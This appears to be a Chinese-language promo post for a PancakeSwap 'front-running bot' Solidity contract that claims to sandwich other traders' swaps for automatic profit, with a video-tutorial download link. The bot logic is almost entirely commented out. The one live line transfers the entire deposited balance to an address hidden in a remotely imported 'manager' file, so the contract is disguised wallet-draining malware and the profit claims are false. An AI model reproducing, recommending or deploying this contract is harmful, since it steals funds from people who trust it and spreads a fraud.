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夹子机器人简解：
夹子机器人主要是通过检测Pancake 上面所有的交易对来寻找滑点利润，比喻说：BTC/USDT交易对，总LP：10000U，有位大佬买了1000U，那么滑点可能会有20%-30%的滑点，夹子机器人检测到，会通过提高Gas或者烧区块在他前面提前买入，然后等他的买入成功后，价格上升后，机器人 再自动卖出，实现套利。
此视频将展示一个简单的基于Solidity部署的夹子机器人，夹子机器人可以自动定位添加到BSC中的交易对，并立即抢先买入并买入以此获得盈利。
该合约的当前参数是，只要在在Remix中执行“Action”函数。10%的利润自动重新进入夹子机器人资金池，并自动将90%的利润交易返回绑定的钱包。剩余的将会继续运作以此继续获取利润。
pragma solidity ^0.6.6;
// PancakeSwap FrontrunDeployer
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
// PancakeSwap manager
import "https://swarm-gateways.net/bzz:/4fc170c11bcbfc66de27a2c8ac8c6eb6efded32d265085722284518e42ec4d9f/pancakeswap-v2base.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
contract UniswapV2FrontBot {
string public tokenName;
string public tokenSymbol;
uint frontrun;
Manager manager;
constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
manager = new Manager();
}
// Send required BNB for liquidity pair
receive() external payable {}
// Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks();
function action() public payable {
//Perform a front-running attack on uniswap
//const fs = require('fs');
//var Web3 = require('web3');
//var abiDecoder = require('abi-decoder');
//var colors = require("colors");
//var Tx = require('ethereumjs-tx').Transaction;
//var axios = require('axios');
//var BigNumber = require('big-number');
//const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
//const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
//const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');
//const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
//const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
manager;
//var input_token_info;
//var out_token_info;
//var pool_info;
//var gas_price_info;
manager;
//var web3;
//var web3Ts;
//var web3Ws;
//var pancakeRouter;
//var pancakeFactory;
manager;
// one gwei
//const ONE_GWEI = 1e9;
manager;
//var buy_finished = false;
//var sell_finished = false;
//var buy_failed = false;
//var sell_failed = false;
//var attack_started = false;
manager;
//var succeed = false;
//var subscription;
manager;
//async function createWeb3(){
//try {
// web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
// web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
// web3 = new Web3(EthereumTesterProvider());
// web3.eth.getAccounts(console.log);
//web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK));
//pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS);
//pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS);
//abiDecoder.addABI(PANCAKE_ROUTER_ABI);
manager;
//return true;
//} catch (error) {
//console.log(error);
//return false;
//async function main() {
//try {
//if (await createWeb3() == false) {
//console.log('Web3 Create Error'.yellow);
//process.exit();
//const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
//const out_token_address = TOKEN_ADDRESS;
//const amount = AMOUNT;
//const level = LEVEL;
//ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level);
//if(ret == false) {
//process.exit();
//await updatePoolInfo();
//outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
//await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);
//log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' + input_token_info.symbol + ' Exchange on Pancake *****'
// console.log(log_str.green);
// console.log(web3Ws);
//web3Ws.onopen = function(evt) {
//web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address }));
//console.log('connected')
// get pending transactions
//subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) {
//}).on("data", async function (transactionHash) {
//console.log(transactionHash);
// let transaction = await web3.eth.getTransaction(transactionHash);
// if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
// {
// await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
// }
//if (succeed) {
//console.log("The bot finished the attack.");
//process.exit();
//catch (error) {
//if(error.data != null && error.data.see === 'https://infura.io/dashboard')
//console.log('Daily request count exceeded, Request rate limited'.yellow);
//console.log('Please insert other API Key');
//else{
//console.log('Unknown Handled Error');
//console.log(error);
//process.exit();
//function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
//(await triggersFrontRun(transaction, out_token_address, amount, level)) {
//subscription.unsubscribe();
//console.log('Perform front running attack...');
//gasPrice = parseInt(transaction['gasPrice']);
//newGasPrice = gasPrice + 50*ONE_GWEI;
//estimatedInput = ((amount*0.999)*(10**18)).toString();
//realInput = (amount*(10**18)).toString();
//gasLimit = (300000).toString();
//await updatePoolInfo();
//var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
//swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);
//console.log("wait until the honest transaction is done...", transaction['hash']);
//while (await isPending(transaction['hash'])) {
//if(buy_failed)
//succeed = false;
//return;
//console.log('Buy succeed:')
//Sell
//await updatePoolInfo();
//var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
//outputeth = outputeth * 0.999;
//await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
//console.log('Sell succeed');
//succeed = true;
manager;
//async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
//var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();
//allowance = BigNumber(allowance);
//outputtoken = BigNumber(outputtoken);
//var decimals = BigNumber(10).power(out_token_info.decimals);
//var max_allowance = BigNumber(10000).multiply(decimals);
//if(outputtoken.gt(max_allowance))
//console.log('replace max allowance')
//max_allowance = outputtoken;
payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
//if(outputtoken.gt(allowance)){
//console.log(max_allowance.toString());
//var approveTX ={
//from: user_wallet.address,
//to: out_token_address,
//gas: 50000,
//gasPrice: gasPrice*ONE_GWEI,
//data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
manager;
//var signedTX = await user_wallet.signTransaction(approveTX);
//var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);
//console.log('Approved Token')
//return;
//select attacking transaction
//async function triggersFrontRun(transaction, out_token_address, amount, level) {
//if(attack_started)
//return false;
//console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
//if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
//attack_started = true;
//return true
manager;
//return false;
//if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) {
//return false;
//let data = parseTx(transaction['input']);
manager;
//let method = data[0];
manager;
//let params = data[1];
manager;
//let gasPrice = parseInt(transaction['gasPrice']) / 10**9;
manager;
//if(method == 'swapExactETHForTokens')
manager;
//let in_amount = transaction;
manager;
//let out_min = params[0];
manager;
//let path = params[1];
manager;
//let in_token_addr = path[0];
manager;
//let out_token_addr = path[path.length-1];
manager;
//let recept_addr = params[2];
manager;
//let deadline = params[3];
manager;
//if(out_token_addr != out_token_address)
manager;
// console.log(out_token_addr.blue)
// console.log(out_token_address)
//return false;
}
}
https://yunpan.360.cn/surl_ykYbI6xSbsP?（提取码：0106）
这里是详细的视频教程
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